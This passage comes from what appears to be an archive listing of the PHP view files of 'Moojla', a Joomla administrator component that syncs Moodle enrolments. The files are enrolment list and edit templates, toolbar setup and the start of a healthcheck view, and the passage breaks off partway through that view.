'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('enrolment.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('enrolment');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_ENROLMENT_NEW' :
'COM_MOOJLA_ENROLMENT_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/enrolment.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/enrolment/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 
		JText::script('view not acceptable. Error');
	}
}
views/enrolments/index.html000064400000000054151165724410012071
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/enrolments/tmpl/default.php000064400000005534151165724410013215
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=enrolments.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'enrolmentList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=enrolments');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped"
id="enrolmentList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_ENROLMENTS_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
views/enrolments/tmpl/default_batch_body.php000064400000002335151165724410015367
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo
JText::_('COM_MOOJLA_ENROLMENTS_BATCH_TIP'); ?></p>
<?php echo $this->batchDisplay;
?>views/enrolments/tmpl/default_batch_footer.php000064400000002733151165724410015732
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('enrolment.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/enrolments/tmpl/default_body.php000064400000010474151165724410014231
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=enrolments&task=enrolment.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('enrolment',$item,'enrolments');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('core.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="nowrap">
			<div class="name">
				<?php if ($canDo->get('core.edit')): ?>
					<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo JText::_($item->role);
?></a>
					<?php if ($item->checked_out): ?>
						<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'enrolments.',
$canCheckin); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JText::_($item->role); ?>
				<?php endif; ?>
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->moojlacourse_fullname); ?>
		</td>
		<td class="nowrap">
			<div class="name">
				<?php if ($this->user->authorise('core.edit',
'com_users')): ?>
					<a
href="index.php?option=com_users&task=user.edit&id=<?php
echo (int) $item->jid ?>"><?php echo
JFactory::getUser((int)$item->jid)->name; ?></a>
				<?php else: ?>
					<?php echo JFactory::getUser((int)$item->jid)->name; ?>
				<?php endif; ?>
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->enrolldate); ?>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'enrolments.', true, 'cb');
?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'enrolments.', false, 'cb');
?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'enrolments.', true, 'cb');
?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'enrolments.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/enrolments/tmpl/default_foot.php000064400000002304151165724410014234
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="8"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/enrolments/tmpl/default_head.php000064400000005477151165724410014204
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_ENROLMENT_ROLE_LABEL', 'a.role',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_ENROLMENT_MOOJLACOURSE_LABEL',
'g.fullname', $this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_ENROLMENT_JID_LABEL', 'h.name',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_ENROLMENT_ENROLLDATE_LABEL',
'a.enrolldate', $this->listDirn, $this->listOrder); ?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_ENROLMENT_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo JText::_('COM_MOOJLA_ENROLMENT_STATUS'); ?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_ENROLMENT_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
	</th>
</tr>views/enrolments/tmpl/default_toolbar.php000064400000007055151165724410014737
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Enrolments'); ?>" />
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/enrolments/tmpl/index.html000064400000000054151165724410013045
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/enrolments/view.html.php000064400000017526151165724410012536
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the Enrolments
 */
class MoojlaViewEnrolments extends JViewLegacy
{
	/**
	 * Enrolments view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('enrolments');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('enrolment');
		$this->canEdit = $this->canDo->get('core.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('core.create');
		$this->canDelete = $this->canDo->get('core.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_ENROLMENTS'),
'checkbox');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=enrolments');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('enrolment.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('enrolment.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('enrolments.publish');
				JToolBarHelper::unpublishList('enrolments.unpublish');
				JToolBarHelper::archiveList('enrolments.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('enrolments.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('', 'enrolments.delete',
'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('enrolments.trash');
			}
		}
		if ($this->user->authorise('enrolment.fetch_enrolments',
'com_moojla'))
		{
			// add fetch enrolments button.
			JToolBarHelper::custom('enrolments.fetchEnrolments',
'contract custom-button-fetchenrolments', '',
'COM_MOOJLA_FETCH_ENROLMENTS', false);
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('enrolments');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}

		// Only load Role batch if create, edit, and batch is allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Set Role Selection
			$this->roleOptions =
JFormHelper::loadFieldType('enrolmentsfilterrole')->options;
			// We do some sanitation for Role filter
			if (MoojlaHelper::checkArray($this->roleOptions) &&
				isset($this->roleOptions[0]->value) &&
				!MoojlaHelper::checkString($this->roleOptions[0]->value))
			{
				unset($this->roleOptions[0]);
			}
			// Role Batch Selection
			JHtmlBatch_::addListSelection(
				'- Keep Original
'.JText::_('COM_MOOJLA_ENROLMENT_ROLE_LABEL').'
-',
				'batch[role]',
				JHtml::_('select.options', $this->roleOptions,
'value', 'text')
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_ENROLMENTS'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/enrolments.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'a.role' =>
JText::_('COM_MOOJLA_ENROLMENT_ROLE_LABEL'),
			'g.fullname' =>
JText::_('COM_MOOJLA_ENROLMENT_MOOJLACOURSE_LABEL'),
			'h.name' =>
JText::_('COM_MOOJLA_ENROLMENT_JID_LABEL'),
			'a.enrolldate' =>
JText::_('COM_MOOJLA_ENROLMENT_ENROLLDATE_LABEL'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}
views/healthcheck/index.html000064400000000054151165724410012146
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/healthcheck/tmpl/default.php000064400000035145151165724410013273
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
?>
<?php if ($this->canDo->get('healthcheck.access')):
?>
<script type="text/javascript">
	Joomla.submitbutton = function(task) {
		if (task === 'healthcheck.back') {
			parent.history.back();
			return false;
		} else {
			var form = document.getElementById('adminForm');
			form.task.value = task;
			form.submit();
		}
	}
</script>
<?php $urlId = (isset($this->item->id)) ? '&id='.
(int) $this->item->id : ''; ?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=healthcheck' .
$urlId); ?>" method="post" name="adminForm"
id="adminForm" class="form-validate"
enctype="multipart/form-data">


<!--[JCBGUI.custom_admin_view.default.1.$$$$]-->
<h2>General</h2>


<?php
$cmp = $this->item['component'];
$moodleusersdiff = $this->item['moodleusersdiff'];
$joomlausersdiff = $this->item['joomlausersdiff'];
$coursedif = $this->item['coursedif'];
$catdif = $this->item['catdif'];
?>
<ul class="nav nav-tabs">
  <li class="active"><a data-toggle="tab"
href="#connectivity"><?=
JText::_('COM_MOOJLA_CONNECTIVITY') ?></a></li>
  <li><a data-toggle="tab"
href="#joomla-plugins"><?=
JText::_('COM_MOOJLA_JOOMLA_PLUGINS') ?></a></li>
  <li><a data-toggle="tab"
href="#thirdparty-plugin"><?=
